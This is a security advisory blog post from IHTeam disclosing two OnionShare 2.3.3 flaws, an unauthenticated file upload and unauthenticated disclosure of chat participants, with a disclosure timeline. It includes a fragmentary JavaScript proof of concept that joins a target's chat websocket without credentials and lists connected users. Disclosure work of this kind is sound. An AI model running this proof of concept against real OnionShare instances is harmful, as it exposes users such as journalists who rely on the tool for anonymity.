OnionShare 2.3 >= 2.3.3 Vulnerabilities


IHTeam undertook an independent security assessment of OnionShare CLI v2.3.3 and identified the following vulnerabilities:

  • Unauthenticated File Upload (when using –receive in non-public mode) AKA CVE-2021-41868
  • Disclosure of Chat Participants to Unauthenticated Users (when using –chat option in non-public mode) AKA CVE-2021-41867

What is OnionShare?

OnionShare is an open source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network. It is often used by journalists in oppressed countries. OnionShare was developed by Micah Lee, et al. and is open source, released under the GPLv3. Like all software, OnionShare may contain bugs or vulnerabilities. The source code of OnionShare is available in GitHub at: and the main org website is available at

Unauthenticated File Upload

OnionShare is indeed a file sharing platform however, it generates by default a random username and password at start-up to be used in Basic Authorization (non-public mode). Therefore, file upload should only be allowed to users with the correct credential. There are additional parameters that could be passed to open the system to anyone on the Tor network (known as public mode).

IHTeam observed that it was possible to upload file in a remote OnionShare instance (configured in non-public mode) without knowing the correct credential –

The issue was found while analyzing (, which initiated the upload process before checking for Flask HTTPAuth.

Burp Suite request and response
File uploaded on the filesystem

Disclosure of Chat Participants

This second issue was affecting the chat functionality in OnionShare (–chat parameter). Once again, by default, the OnionShare instance generates a random username and password at start-up to be used in Basic Authorization.

IHTeam observed that it was possible to initiate a websocket connection from an unauthenticated perspective and retrieve the full list of participants –

The issue was found while analyzing (, which allowed an unauthenticated user to connect via websocket (with or without a valid Flask session cookie). The leak of chat participants happened when emitting ‘joined’ message in the websocket channel.

Proof of concept code in action

The following proof of concept to validate the issue was provided to the developers:

<!DOCTYPE html>
    <meta charset="utf-8">
    <h1>OnionShare Disclosure of Connected Users PoC</h1>
    <ul id="user-list"></ul>
    <script src="" crossorigin="anonymous">
    <script src="">
      $(function () {
        $(document).ready(function () {
          var socket = io.connect(
            'http://<target Onion v3 address>.onion/chat',
              transports: ['websocket']
          socket.on('connect', function () {
            socket.emit('joined', {
          socket.on('status', function (data) {
            var userListHTML = '';
            var userslist = data.connected_users;
            for (i = 0; i < userslist.length; i++) {
              userListHTML += `<li>${userslist[i]}</li>`;


21/08/2021: Bugs identified and GitHub issues created
17/09/2021: New version of OnionShare released
04/10/2021: This blog post published

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.